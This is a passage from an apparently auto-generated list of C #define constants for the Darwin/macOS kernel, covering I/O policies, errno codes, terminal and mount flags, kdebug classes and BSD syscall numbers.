RLIMIT_THREAD_CPULIMITS 0x3\n#define RLIMIT_FOOTPRINT_INTERVAL 0x4\n#define WAKEMON_ENABLE 0x01\n#define WAKEMON_DISABLE 0x02\n#define WAKEMON_GET_PARAMS 0x04\n#define WAKEMON_SET_DEFAULTS 0x08\n#define WAKEMON_MAKE_FATAL 0x10\n#define CPUMON_MAKE_FATAL 0x1000\n#define FOOTPRINT_INTERVAL_RESET 0x1\n#define IOPOL_TYPE_DISK 0\n#define IOPOL_TYPE_VFS_ATIME_UPDATES 2\n#define IOPOL_TYPE_VFS_MATERIALIZE_DATALESS_FILES 3\n#define IOPOL_TYPE_VFS_STATFS_NO_DATA_VOLUME 4\n#define IOPOL_TYPE_VFS_TRIGGER_RESOLVE 5\n#define IOPOL_TYPE_VFS_IGNORE_CONTENT_PROTECTION 6\n#define IOPOL_TYPE_VFS_IGNORE_PERMISSIONS 7\n#define IOPOL_TYPE_VFS_SKIP_MTIME_UPDATE 8\n#define IOPOL_TYPE_VFS_ALLOW_LOW_SPACE_WRITES 9\n#define IOPOL_TYPE_VFS_DISALLOW_RW_FOR_O_EVTONLY 10\n#define IOPOL_SCOPE_PROCESS 0\n#define IOPOL_SCOPE_THREAD 1\n#define IOPOL_SCOPE_DARWIN_BG 2\n#define IOPOL_DEFAULT 0\n#define IOPOL_IMPORTANT 1\n#define IOPOL_PASSIVE 2\n#define IOPOL_THROTTLE 3\n#define IOPOL_UTILITY 4\n#define IOPOL_STANDARD 5\n#define IOPOL_ATIME_UPDATES_DEFAULT 0\n#define IOPOL_ATIME_UPDATES_OFF 1\n#define IOPOL_MATERIALIZE_DATALESS_FILES_DEFAULT 0\n#define IOPOL_MATERIALIZE_DATALESS_FILES_OFF 1\n#define IOPOL_MATERIALIZE_DATALESS_FILES_ON 2\n#define IOPOL_VFS_STATFS_NO_DATA_VOLUME_DEFAULT 0\n#define IOPOL_VFS_STATFS_FORCE_NO_DATA_VOLUME 1\n#define IOPOL_VFS_TRIGGER_RESOLVE_DEFAULT 0\n#define IOPOL_VFS_TRIGGER_RESOLVE_OFF 1\n#define IOPOL_VFS_CONTENT_PROTECTION_DEFAULT 0\n#define IOPOL_VFS_CONTENT_PROTECTION_IGNORE 1\n#define IOPOL_VFS_IGNORE_PERMISSIONS_OFF 0\n#define IOPOL_VFS_IGNORE_PERMISSIONS_ON 1\n#define IOPOL_VFS_SKIP_MTIME_UPDATE_OFF 0\n#define IOPOL_VFS_SKIP_MTIME_UPDATE_ON 1\n#define IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_OFF 0\n#define IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_ON 1\n#define IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_DEFAULT 0\n#define IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_ON 1\n#define IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_DEFAULT 0\n#define IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_ON 1\n#define IOCPARM_MASK 0x1fff\n#define XATTR_NOFOLLOW 0x0001\n#define XATTR_CREATE 0x0002\n#define XATTR_REPLACE 0x0004\n#define XATTR_NOSECURITY 0x0008\n#define XATTR_NODEFAULT 0x0010\n#define XATTR_SHOWCOMPRESSION 0x0020\n#define XATTR_NOFOLLOW_ANY 0x0040\n#define XATTR_MAXNAMELEN 127\n#define PR_SLOWHZ 2\n#define PRC_IFDOWN 0\n#define PRC_ROUTEDEAD 1\n#define PRC_IFUP 2\n#define PRC_QUENCH2 3\n#define PRC_QUENCH 4\n#define PRC_MSGSIZE 5\n#define PRC_HOSTDEAD 6\n#define PRC_HOSTUNREACH 7\n#define PRC_UNREACH_NET 8\n#define PRC_UNREACH_HOST 9\n#define PRC_UNREACH_PROTOCOL 10\n#define PRC_UNREACH_PORT 11\n#define PRC_UNREACH_SRCFAIL 13\n#define PRC_REDIRECT_NET 14\n#define PRC_REDIRECT_HOST 15\n#define PRC_REDIRECT_TOSNET 16\n#define PRC_REDIRECT_TOSHOST 17\n#define PRC_TIMXCEED_INTRANS 18\n#define PRC_TIMXCEED_REASS 19\n#define PRC_PARAMPROB 20\n#define PRC_UNREACH_ADMIN_PROHIB 21\n#define PRC_NCMDS 22\n#define KEV_CTL_SUBCLASS 2\n#define KEV_CTL_REGISTERED 1\n#define KEV_CTL_DEREGISTERED 2\n#define MAX_KCTL_NAME 96\n#define CTL_FLAG_PRIVILEGED 0x1\n#define CTL_FLAG_REG_ID_UNIT 0x2\n#define CTL_FLAG_REG_SOCK_STREAM 0x4\n#define CTL_DATA_NOWAKEUP 0x1\n#define CTL_DATA_EOR 0x2\n#define __has_safe_buffers 0\n#define __DARWIN_ONLY_64_BIT_INO_T 0\n#define __DARWIN_ONLY_UNIX_CONFORMANCE 0\n#define __DARWIN_ONLY_VERS_1050 0\n#define __STDC_WANT_LIB_EXT1__ 1\n#define __DARWIN_NO_LONG_LONG 0\n#define _DARWIN_FEATURE_64_BIT_INODE 1\n#define _DARWIN_FEATURE_ONLY_64_BIT_INODE 1\n#define _DARWIN_FEATURE_ONLY_VERS_1050 1\n#define _DARWIN_FEATURE_ONLY_UNIX_CONFORMANCE 1\n#define _DARWIN_FEATURE_UNIX_CONFORMANCE 3\n#define __has_ptrcheck 0\n#define MAXMAXPARTITIONS 22\n#define NDDATA 5\n#define NSPARE 5\n#define DTYPE_SMD 1\n#define DTYPE_MSCP 2\n#define DTYPE_DEC 3\n#define DTYPE_SCSI 4\n#define DTYPE_ESDI 5\n#define DTYPE_ST506 6\n#define DTYPE_HPIB 7\n#define DTYPE_HPFL 8\n#define DTYPE_FLOPPY 10\n#define FS_UNUSED 0\n#define FS_SWAP 1\n#define FS_V6 2\n#define FS_V7 3\n#define FS_SYSV 4\n#define FS_V71K 5\n#define FS_V8 6\n#define FS_BSDFFS 7\n#define FS_MSDOS 8\n#define FS_BSDLFS 9\n#define FS_OTHER 10\n#define FS_HPFS 11\n#define FS_ISO9660 12\n#define FS_BOOT 13\n#define FS_ADOS 14\n#define FS_HFS 15\n#define D_REMOVABLE 0x01\n#define D_ECC 0x02\n#define D_BADSECT 0x04\n#define D_RAMDISK 0x08\n#define D_CHAIN 0x10\n#define D_SSE 0x1\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EDEADLK 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define EAGAIN 35\n#define EINPROGRESS 36\n#define EALREADY 37\n#define ENOTSOCK 38\n#define EDESTADDRREQ 39\n#define EMSGSIZE 40\n#define EPROTOTYPE 41\n#define ENOPROTOOPT 42\n#define EPROTONOSUPPORT 43\n#define ESOCKTNOSUPPORT 44\n#define ENOTSUP 45\n#define EPFNOSUPPORT 46\n#define EAFNOSUPPORT 47\n#define EADDRINUSE 48\n#define EADDRNOTAVAIL 49\n#define ENETDOWN 50\n#define ENETUNREACH 51\n#define ENETRESET 52\n#define ECONNABORTED 53\n#define ECONNRESET 54\n#define ENOBUFS 55\n#define EISCONN 56\n#define ENOTCONN 57\n#define ESHUTDOWN 58\n#define ETOOMANYREFS 59\n#define ETIMEDOUT 60\n#define ECONNREFUSED 61\n#define ELOOP 62\n#define ENAMETOOLONG 63\n#define EHOSTDOWN 64\n#define EHOSTUNREACH 65\n#define ENOTEMPTY 66\n#define EPROCLIM 67\n#define EUSERS 68\n#define EDQUOT 69\n#define ESTALE 70\n#define EREMOTE 71\n#define EBADRPC 72\n#define ERPCMISMATCH 73\n#define EPROGUNAVAIL 74\n#define EPROGMISMATCH 75\n#define EPROCUNAVAIL 76\n#define ENOLCK 77\n#define ENOSYS 78\n#define EFTYPE 79\n#define EAUTH 80\n#define ENEEDAUTH 81\n#define EPWROFF 82\n#define EDEVERR 83\n#define EOVERFLOW 84\n#define EBADEXEC 85\n#define EBADARCH 86\n#define ESHLIBVERS 87\n#define EBADMACHO 88\n#define ECANCELED 89\n#define EIDRM 90\n#define ENOMSG 91\n#define EILSEQ 92\n#define ENOATTR 93\n#define EBADMSG 94\n#define EMULTIHOP 95\n#define ENODATA 96\n#define ENOLINK 97\n#define ENOSR 98\n#define ENOSTR 99\n#define EPROTO 100\n#define ETIME 101\n#define EOPNOTSUPP 102\n#define ENOPOLICY 103\n#define ENOTRECOVERABLE 104\n#define EOWNERDEAD 105\n#define EQFULL 106\n#define ELAST 106\n#define VEOF 0\n#define VEOL 1\n#define VEOL2 2\n#define VERASE 3\n#define VWERASE 4\n#define VKILL 5\n#define VREPRINT 6\n#define VINTR 8\n#define VQUIT 9\n#define VSUSP 10\n#define VDSUSP 11\n#define VSTART 12\n#define VSTOP 13\n#define VLNEXT 14\n#define VDISCARD 15\n#define VMIN 16\n#define VTIME 17\n#define VSTATUS 18\n#define NCCS 20\n#define IGNBRK 0x00000001\n#define BRKINT 0x00000002\n#define IGNPAR 0x00000004\n#define PARMRK 0x00000008\n#define INPCK 0x00000010\n#define ISTRIP 0x00000020\n#define INLCR 0x00000040\n#define IGNCR 0x00000080\n#define ICRNL 0x00000100\n#define IXON 0x00000200\n#define IXOFF 0x00000400\n#define IXANY 0x00000800\n#define IMAXBEL 0x00002000\n#define IUTF8 0x00004000\n#define OPOST 0x00000001\n#define ONLCR 0x00000002\n#define OXTABS 0x00000004\n#define ONOEOT 0x00000008\n#define OCRNL 0x00000010\n#define ONOCR 0x00000020\n#define ONLRET 0x00000040\n#define OFILL 0x00000080\n#define NLDLY 0x00000300\n#define TABDLY 0x00000c04\n#define CRDLY 0x00003000\n#define FFDLY 0x00004000\n#define BSDLY 0x00008000\n#define VTDLY 0x00010000\n#define OFDEL 0x00020000\n#define TAB3 0x00000004\n#define VT0 0x00000000\n#define VT1 0x00010000\n#define CIGNORE 0x00000001\n#define CSIZE 0x00000300\n#define CS5 0x00000000\n#define CS6 0x00000100\n#define CS7 0x00000200\n#define CS8 0x00000300\n#define CSTOPB 0x00000400\n#define CREAD 0x00000800\n#define PARENB 0x00001000\n#define PARODD 0x00002000\n#define HUPCL 0x00004000\n#define CLOCAL 0x00008000\n#define CCTS_OFLOW 0x00010000\n#define CRTS_IFLOW 0x00020000\n#define CDTR_IFLOW 0x00040000\n#define CDSR_OFLOW 0x00080000\n#define CCAR_OFLOW 0x00100000\n#define ECHOKE 0x00000001\n#define ECHOE 0x00000002\n#define ECHOK 0x00000004\n#define ECHONL 0x00000010\n#define ECHOPRT 0x00000020\n#define ECHOCTL 0x00000040\n#define ISIG 0x00000080\n#define ICANON 0x00000100\n#define ALTWERASE 0x00000200\n#define IEXTEN 0x00000400\n#define EXTPROC 0x00000800\n#define NOKERNINFO 0x02000000\n#define TCSANOW 0\n#define TCSADRAIN 1\n#define TCSAFLUSH 2\n#define TCSASOFT 0x10\n#define B0 0\n#define B50 50\n#define B75 75\n#define B110 110\n#define B134 134\n#define B150 150\n#define B200 200\n#define B300 300\n#define B600 600\n#define B1200 1200\n#define B1800 1800\n#define B2400 2400\n#define B4800 4800\n#define B9600 9600\n#define B19200 19200\n#define B38400 38400\n#define B7200 7200\n#define B14400 14400\n#define B28800 28800\n#define B57600 57600\n#define B76800 76800\n#define B115200 115200\n#define B230400 230400\n#define EXTA 19200\n#define EXTB 38400\n#define RENAME_SECLUDE 0x00000001\n#define RENAME_SWAP 0x00000002\n#define RENAME_EXCL 0x00000004\n#define RENAME_RESERVED1 0x00000008\n#define RENAME_NOFOLLOW_ANY 0x00000010\n#define MFSNAMELEN 15\n#define MFSTYPENAMELEN 16\n#define MNAMELEN 90\n#define MNT_EXT_ROOT_DATA_VOL 0x00000001\n#define MNT_EXT_FSKIT 0x00000002\n#define MNT_RDONLY 0x00000001\n#define MNT_SYNCHRONOUS 0x00000002\n#define MNT_NOEXEC 0x00000004\n#define MNT_NOSUID 0x00000008\n#define MNT_NODEV 0x00000010\n#define MNT_UNION 0x00000020\n#define MNT_ASYNC 0x00000040\n#define MNT_CPROTECT 0x00000080\n#define MNT_EXPORTED 0x00000100\n#define MNT_REMOVABLE 0x00000200\n#define MNT_QUARANTINE 0x00000400\n#define MNT_LOCAL 0x00001000\n#define MNT_QUOTA 0x00002000\n#define MNT_ROOTFS 0x00004000\n#define MNT_DOVOLFS 0x00008000\n#define MNT_DONTBROWSE 0x00100000\n#define MNT_IGNORE_OWNERSHIP 0x00200000\n#define MNT_AUTOMOUNTED 0x00400000\n#define MNT_JOURNALED 0x00800000\n#define MNT_NOUSERXATTR 0x01000000\n#define MNT_DEFWRITE 0x02000000\n#define MNT_MULTILABEL 0x04000000\n#define MNT_NOFOLLOW 0x08000000\n#define MNT_NOATIME 0x10000000\n#define MNT_SNAPSHOT 0x40000000\n#define MNT_STRICTATIME 0x80000000\n#define MNT_UPDATE 0x00010000\n#define MNT_NOBLOCK 0x00020000\n#define MNT_RELOAD 0x00040000\n#define MNT_FORCE 0x00080000\n#define VFS_GENERIC 0\n#define VFS_NUMMNTOPS 1\n#define VFS_MAXTYPENUM 1\n#define VFS_CONF 2\n#define MNT_WAIT 1\n#define MNT_NOWAIT 2\n#define MNT_DWAIT 4\n#define MNT_VOLUME 8\n#define VFS_CTL_VERS1 0x01\n#define VFS_CTL_OSTATFS 0x00010001\n#define VFS_CTL_UMOUNT 0x00010002\n#define VFS_CTL_QUERY 0x00010003\n#define VFS_CTL_NEWADDR 0x00010004\n#define VFS_CTL_TIMEO 0x00010005\n#define VFS_CTL_NOLOCKS 0x00010006\n#define VFS_CTL_SADDR 0x00010007\n#define VFS_CTL_DISC 0x00010008\n#define VFS_CTL_SERVERINFO 0x00010009\n#define VFS_CTL_NSTATUS 0x0001000A\n#define VFS_CTL_STATFS64 0x0001000B\n#define VQ_NOTRESP 0x0001\n#define VQ_NEEDAUTH 0x0002\n#define VQ_LOWDISK 0x0004\n#define VQ_MOUNT 0x0008\n#define VQ_UNMOUNT 0x0010\n#define VQ_DEAD 0x0020\n#define VQ_ASSIST 0x0040\n#define VQ_NOTRESPLOCK 0x0080\n#define VQ_UPDATE 0x0100\n#define VQ_VERYLOWDISK 0x0200\n#define VQ_SYNCEVENT 0x0400\n#define VQ_SERVEREVENT 0x0800\n#define VQ_QUOTA 0x1000\n#define VQ_NEARLOWDISK 0x2000\n#define VQ_DESIRED_DISK 0x4000\n#define VQ_FREE_SPACE_CHANGE 0x8000\n#define VQ_PURGEABLE_SPACE_CHANGE 0x10000\n#define VQ_FLAG20000 0x20000\n#define VFS_IOATTR_FLAGS_FUA 0x00000001\n#define VFS_IOATTR_FLAGS_UNMAP 0x00000002\n#define VFS_IOATTR_FLAGS_SWAPPIN_SUPPORTED 0x00000010\n#define VFS_TBLTHREADSAFE 0x0001\n#define VFS_TBLFSNODELOCK 0x0002\n#define VFS_TBLNOTYPENUM 0x0008\n#define VFS_TBLLOCALVOL 0x0010\n#define VFS_TBL64BITREADY 0x0020\n#define VFS_TBLNATIVEXATTR 0x0040\n#define VFS_TBLDIRLINKS 0x0080\n#define VFS_TBLUNMOUNT_PREFLIGHT 0x0100\n#define VFS_TBLGENERICMNTARGS 0x0200\n#define VFS_TBLREADDIR_EXTENDED 0x0400\n#define VFS_TBLNOMACLABEL 0x1000\n#define VFS_TBLVNOP_PAGEINV2 0x2000\n#define VFS_TBLVNOP_PAGEOUTV2 0x4000\n#define VFS_TBLVNOP_NOUPDATEID_RENAME 0x8000\n#define VFS_TBLVNOP_SECLUDE_RENAME 0x10000\n#define VFS_TBLCANMOUNTROOT 0x20000\n#define VFSIOC_MOUNT_BYROLE_has_recovery 1\n#define VFS_RETURNED 0\n#define VFS_RETURNED_DONE 1\n#define VFS_CLAIMED 2\n#define VFS_CLAIMED_DONE 3\n#define VFS_USER_EVENT 0\n#define VFS_KERNEL_EVENT 1\n#define LK_NOWAIT 1\n#define NFSV4_MAX_FH_SIZE 128\n#define NFSV3_MAX_FH_SIZE 64\n#define NFSV2_MAX_FH_SIZE 32\n#define CRYPTEX_AUTH_STRUCT_VERSION 2\n#define EV_FD 1\n#define EV_RE 1\n#define EV_WR 2\n#define EV_EX 4\n#define EV_RM 8\n#define EV_MASK 0xf\n#define EV_RBYTES 0x100\n#define EV_WBYTES 0x200\n#define EV_RCLOSED 0x400\n#define EV_RCONN 0x800\n#define EV_WCLOSED 0x1000\n#define EV_WCONN 0x2000\n#define EV_OOB 0x4000\n#define EV_FIN 0x8000\n#define EV_RESET 0x10000\n#define EV_TIMEOUT 0x20000\n#define EV_DMASK 0xffffff00\n#define KDEBUG_LEVEL_NONE 0\n#define KDEBUG_LEVEL_IST 1\n#define KDEBUG_LEVEL_STANDARD 2\n#define KDEBUG_LEVEL_FULL 3\n#define KDBG_FLAG_FILTERED 0x01\n#define KDBG_FLAG_NOPROCFILT 0x02\n#define __DARWIN_LITTLE_ENDIAN 1234\n#define __DARWIN_BIG_ENDIAN 4321\n#define __DARWIN_PDP_ENDIAN 3412\n#define USE_CLANG_TYPES 0\n#define __DARWIN_NULL 0\n#define UBC_PUSHDIRTY 0x01\n#define UBC_PUSHALL 0x02\n#define UBC_INVALIDATE 0x04\n#define UBC_SYNC 0x08\n#define KAUTH_NTSID_MAX_AUTHORITIES 16\n#define KAUTH_EXTLOOKUP_SUCCESS 0\n#define KAUTH_EXTLOOKUP_BADRQ 1\n#define KAUTH_EXTLOOKUP_FAILURE 2\n#define KAUTH_EXTLOOKUP_FATAL 3\n#define KAUTH_EXTLOOKUP_INPROG 100\n#define KAUTH_ACE_KINDMASK 0xf\n#define KAUTH_ACE_PERMIT 1\n#define KAUTH_ACE_DENY 2\n#define KAUTH_ACE_AUDIT 3\n#define KAUTH_ACE_ALARM 4\n#define KAUTH_ACL_MAX_ENTRIES 128\n#define KAUTH_FILESEC_MAGIC 0x012cc16d\n#define KAUTH_ENDIAN_HOST 0x00000001\n#define KAUTH_ENDIAN_DISK 0x00000002\n#define KAUTH_GENERIC_ISSUSER 1\n#define KAUTH_PROCESS_CANSIGNAL 1\n#define KAUTH_PROCESS_CANTRACE 2\n#define KAUTH_FILEOP_OPEN 1\n#define KAUTH_FILEOP_CLOSE 2\n#define KAUTH_FILEOP_RENAME 3\n#define KAUTH_FILEOP_EXCHANGE 4\n#define KAUTH_FILEOP_LINK 5\n#define KAUTH_FILEOP_EXEC 6\n#define KAUTH_FILEOP_DELETE 7\n#define KAUTH_FILEOP_WILL_RENAME 8\n#define DBG_PPT 36\n#define DBG_PERFCTRL 39\n#define DBG_CLPC 50\n#define DBG_MUSE 52\n#define DBG_ANS 128\n#define DBG_SIO 129\n#define DBG_SEP 130\n#define DBG_ISP 131\n#define DBG_OSCAR 132\n#define DBG_EMBEDDEDGFX 133\n#define DBG_PMP 134\n#define DBG_RTKIT 135\n#define DBG_DCP 136\n#define DBG_KMP 137\n#define DBG_SKYWALK_ALWAYSON 0x10\n#define DBG_SKYWALK_FLOWSWITCH 0x11\n#define DBG_SKYWALK_NETIF 0x12\n#define DBG_SKYWALK_CHANNEL 0x13\n#define DBG_SKYWALK_PACKET 0x14\n#define DBG_AQM_ALWAYSON 0x30\n#define DBG_AQM_STATS 0x31\n#define PPT_TEST 0x01\n#define PPT_JETSAM_HIWAT 0x02\n#define PPT_JETSAM_TOPPROC 0x03\n#define DBG_SEC_SSMA 0x02\n#define KDBG_CPU_SHIFT 56\n#define KDBG_INIT 0x01\n#define KDBG_FREERUN 0x04\n#define KDBG_CPUMAP_IS_IOP 0x1\n#define KDEBUG_COMMPAGE_ENABLE_TRACE 0x1\n#define KDEBUG_COMMPAGE_ENABLE_TYPEFILTER 0x2\n#define KDEBUG_COMMPAGE_CONTINUOUS 0x4\n#define KDBG_LOCKINIT 0x0080\n#define KDBG_CLASSTYPE 0x10000\n#define KDBG_SUBCLSTYPE 0x20000\n#define KDBG_RANGETYPE 0x40000\n#define KDBG_TYPENONE 0x80000\n#define KDBG_CKTYPES 0xF0000\n#define RAW_VERSION0 0x55aa0000\n#define RAW_VERSION1 0x55aa0101\n#define RAW_VERSION2 0x55aa0200\n#define kEnTrCompKernel 2\n#define kEnTrActKernSocket 1\n#define kEnTrActKernSockRead 2\n#define kEnTrActKernSockWrite 3\n#define kEnTrActKernPoll 10\n#define kEnTrActKernSelect 11\n#define kEnTrActKernKQWait 12\n#define kEnTrEvUnblocked 256\n#define kEnTrFlagNonBlocking 0x1\n#define kEnTrFlagNoWork 0x2\n#define ENTR_SHOULDTRACE 0\n#define SYS_syscall 0\n#define SYS_exit 1\n#define SYS_fork 2\n#define SYS_read 3\n#define SYS_write 4\n#define SYS_open 5\n#define SYS_close 6\n#define SYS_wait4 7\n#define SYS_link 9\n#define SYS_unlink 10\n#define SYS_chdir 12\n#define SYS_fchdir 13\n#define SYS_mknod 14\n#define SYS_chmod 15\n#define SYS_chown 16\n#define SYS_getfsstat 18\n#define SYS_getpid 20\n#define SYS_setuid 23\n#define SYS_getuid 24\n#define SYS_geteuid 25\n#define SYS_ptrace 26\n#define SYS_recvmsg 27\n#define SYS_sendmsg 28\n#define SYS_recvfrom 29\n#define SYS_accept 30\n#define SYS_getpeername 31\n#define SYS_getsockname 32\n#define SYS_access 33\n#define SYS_chflags 34\n#define SYS_fchflags 35\n#define SYS_sync 36\n#define SYS_kill 37\n#define SYS_crossarch_trap 38\n#define SYS_getppid 39\n#define SYS_dup 41\n#define SYS_pipe 42\n#define SYS_getegid 43\n#define SYS_sigaction 46\n#define SYS_getgid 47\n#define SYS_sigprocmask 48\n#define SYS_getlogin 49\n#define SYS_setlogin 50\n#define SYS_acct 51\n#define SYS_sigpending 52\n#define SYS_sigaltstack 53\n#define SYS_ioctl 54\n#define SYS_reboot 55\n#define SYS_revoke 56\n#define SYS_symlink 57\n#define SYS_readlink 58\n#define SYS_execve 59\n#define SYS_umask 60\n#define SYS_chroot 61\n#define SYS_msync 65\n#define SYS_vfork 66\n#define SYS_munmap 73\n#define SYS_mprotect 74\n#define SYS_madvise 75\n#define SYS_mincore 78\n#define SYS_getgroups 79\n#define SYS_setgroups 80\n#define SYS_getpgrp 81\n#define SYS_setpgid 82\n#define SYS_setitimer 83\n#define SYS_swapon 85\n#define SYS_getitimer 86\n#define SYS_getdtablesize 89\n#define SYS_dup2 90\n#define SYS_fcntl 92\n#define SYS_select 93\n#define SYS_fsync 95\n#define SYS_setpriority 96\n#define SYS_socket 97\n#define SYS_connect 98\n#define SYS_getpriority 100\n#define SYS_bind 104\n#define SYS_setsockopt 105\n#define SYS_listen 106\n#define SYS_sigsuspend 111\n#define SYS_gettimeofday 116\n#define SYS_getrusage 117\n#define SYS_getsockopt 118\n#define SYS_readv 120\n#define SYS_writev 121\n#define SYS_settimeofday 122\n#define SYS_fchown 123\n#define SYS_fchmod 124\n#define SYS_setreuid 126\n#define SYS_setregid 127\n#define SYS_rename 128\n#define SYS_flock 131\n#define SYS_mkfifo 132\n#define SYS_sendto 133\n#define SYS_shutdown 134\n#define SYS_socketpair 135\n#define SYS_mkdir 136\n#define SYS_rmdir 137\n#define SYS_utimes 138\n#define SYS_futimes 139\n#define SYS_adjtime 140\n#define SYS_gethostuuid 142\n#define SYS_setsid 147\n#define SYS_getpgid 151\n#define SYS_setprivexec 152\n#define SYS_pread 153\n#define SYS_pwrite 154\n#define SYS_nfssvc 155\n#define SYS_statfs 157\n#define SYS_fstatfs 158\n#define SYS_unmount 159\n#define SYS_getfh 161\n#define SYS_quotactl 165\n#define SYS_mount 167\n#define SYS_csops 169\n#define SYS_csops_audittoken 170\n#define SYS_waitid 173\n#define SYS_kdebug_typefilter 177\n#define SYS_kdebug_trace_string 178\n#define SYS_kdebug_trace64 179\n#define SYS_kdebug_trace 180\n#define SYS_setgid 181\n#define SYS_setegid 182\n#define SYS_seteuid 183\n#define SYS_sigreturn 184\n#define SYS_panic_with_data 185\n#define SYS_thread_selfcounts 186\n#define SYS_fdatasync 187\n#define SYS_stat 188\n#define SYS_fstat 189\n#define SYS_lstat 190\n#define SYS_pathconf 191\n#define SYS_fpathconf 192\n#define SYS_getrlimit 194\n#define SYS_setrlimit 195\n#define SYS_getdirentries 196\n#define SYS_mmap 197\n#define SYS_lseek 199\n#define SYS_truncate 200\n#define SYS_ftruncate 201\n#define SYS_sysctl 202\n#define SYS_mlock 203\n#define SYS_munlock 204\n#define SYS_undelete 205\n#define SYS_open_dprotected_np 216\n#define SYS_fsgetpath_ext 217\n#define SYS_openat_dprotected_np 218\n#define SYS_getattrlist 220\n#define SYS_setattrlist 221\n#define SYS_getdirentriesattr 222\n#define SYS_exchangedata 223\n#define SYS_searchfs 225\n#define SYS_delete 226\n#define SYS_copyfile 227\n#define SYS_fgetattrlist 228\n#define SYS_fsetattrlist 229\n#define SYS_poll 230\n#define SYS_getxattr 234\n#define SYS_fgetxattr 235\n#define SYS_setxattr 236\n#define SYS_fsetxattr 237\n#define SYS_removexattr 238\n#define SYS_fremovexattr 239\n#define SYS_listxattr 240\n#define SYS_flistxattr 241\n#define SYS_fsctl 242\n#define SYS_initgroups 243\n#define SYS_posix_spawn 244\n#define SYS_ffsctl 245\n#define SYS_fhopen 248\n#define SYS_minherit 250\n#define SYS_semsys 251\n#define SYS_msgsys 252\n#define SYS_shmsys 253\n#define SYS_semctl 254\n#define SYS_semget 255\n#define SYS_semop 256\n#define SYS_msgctl 258\n#define SYS_msgget 259\n#define SYS_msgsnd 260\n#define SYS_msgrcv 261\n#define SYS_shmat 262\n#define SYS_shmctl 263\n#define SYS_shmdt 264\n#define SYS_shmget 265\n#define SYS_shm_open 266\n#define SYS_shm_unlink 267\n#define SYS_sem_open 268\n#define SYS_sem_close 269\n#define SYS_sem_unlink 270\n#define SYS_sem_wait 271\n#define SYS_sem_trywait 272\n#define SYS_sem_post 273\n#define SYS_sysctlbyname 274\n#define SYS_open_extended 277\n#define SYS_umask_extended 278\n#define SYS_stat_extended 279\n#define SYS_lstat_extended 280\n#define SYS_fstat_extended 281\n#define SYS_chmod_extended 282\n#define SYS_fchmod_extended 283\n#define SYS_access_extended 284\n#define SYS_settid 285\n#define SYS_gettid 286\n#define SYS_setsgroups 287\n#define SYS_getsgroups 288\n#define SYS_setwgroups 289\n#define SYS_getwgroups 290\n#define SYS_mkfifo_extended 291\n#define SYS_mkdir_extended 292\n#define SYS_identitysvc 293\n#define SYS_shared_region_check_np 294\n#define SYS_vm_pressure_monitor 296\n#define SYS_psynch_rw_longrdlock 297\n#define SYS_psynch_rw_yieldwrlock 298\n#define SYS_psynch_rw_downgrade 299\n#define SYS_psynch_rw_upgrade 300\n#define SYS_psynch_mutexwait 301\n#define SYS_psynch_mutexdrop 302\n#define SYS_psynch_cvbroad 303\n#define SYS_psynch_cvsignal 304\n#define SYS_psynch_cvwait 305\n#define SYS_psynch_rw_rdlock 306\n#define SYS_psynch_rw_wrlock 307\n#define SYS_psynch_rw_unlock 308\n#define SYS_psynch_rw_unlock2 309\n#define SYS_getsid 310\n#define SYS_settid_with_pid 311\n#define SYS_psynch_cvclrprepost 312\n#define SYS_aio_fsync 313\n#define SYS_aio_return 314\n#define SYS_aio_suspend 315\n#define SYS_aio_cancel 316\n#define SYS_aio_error 317\n#define SYS_aio_read 318\n#define SYS_aio_write 319\n#define SYS_lio_listio 320\n#define SYS_iopolicysys 322\n#define SYS_process_policy 323\n#define SYS_mlockall 324\n#define SYS_munlockall 325\n#define SYS_issetugid 327\n#define SYS___pthread_kill 328\n#define SYS___pthread_sigmask 329\n#define SYS___sigwait 330\n#define SYS___disable_threadsignal 331\n#define SYS___pthread_markcancel 332\n#define SYS___pthread_canceled 333\n#define SYS___semwait_signal 334\n#define SYS_proc_info 336\n#define SYS_sendfile 337\n#define SYS_stat64 338\n#define SYS_fstat64 339\n#define SYS_lstat64 340\n#define SYS_stat64_extended 341\n#define SYS_lstat64_extended 342\n#define SYS_fstat64_extended 343\n#define SYS_getdirentries64 344\n#define SYS_statfs64 345\n#define SYS_fstatfs64 346\n#define SYS_getfsstat64 347\n#define SYS___pthread_chdir 348\n#define SYS___pthread_fchdir 349\n#define SYS_audit 350\n#define SYS_auditon 351\n#define SYS_getauid 353\n#define SYS_setauid 354\n#define SYS_getaudit_addr 357\n#define SYS_setaudit_addr 358\n#define SYS_auditctl 359\n#define SYS_bsdthread_create 360\n#define SYS_bsdthread_terminate 361\n#define SYS_kqueue 362\n#define SYS_kevent 363\n#define SYS_lchown 364\n#define SYS_bsdthread_register 366\n#define SYS_workq_open 367\n#define SYS_workq_kernreturn 368\n#define SYS_kevent64 369\n#define SYS_thread_selfid 372\n#define SYS_ledger 373\n#define SYS_kevent_qos 374\n#define SYS_kevent_id 375\n#define SYS___mac_execve 380\n#define SYS___mac_syscall 381\n#define SYS___mac_get_file 382\n#define SYS___mac_set_file 383\n#define SYS___mac_get_link 384\n#define SYS___mac_set_link 385\n#define SYS___mac_get_proc 386\n#define SYS___mac_set_proc 387\n#define SYS___mac_get_fd 388\n#define SYS___mac_set_fd 389\n#define SYS___mac_get_pid 390\n#define SYS_pselect 394\n#define SYS_pselect_nocancel 395\n#define SYS_read_nocancel 396\n#define SYS_write_nocancel 397\n#define SYS_open_nocancel 398\n#define SYS_close_nocancel 399\n#define SYS_wait4_nocancel 400\n#define SYS_recvmsg_nocancel 401\n#define 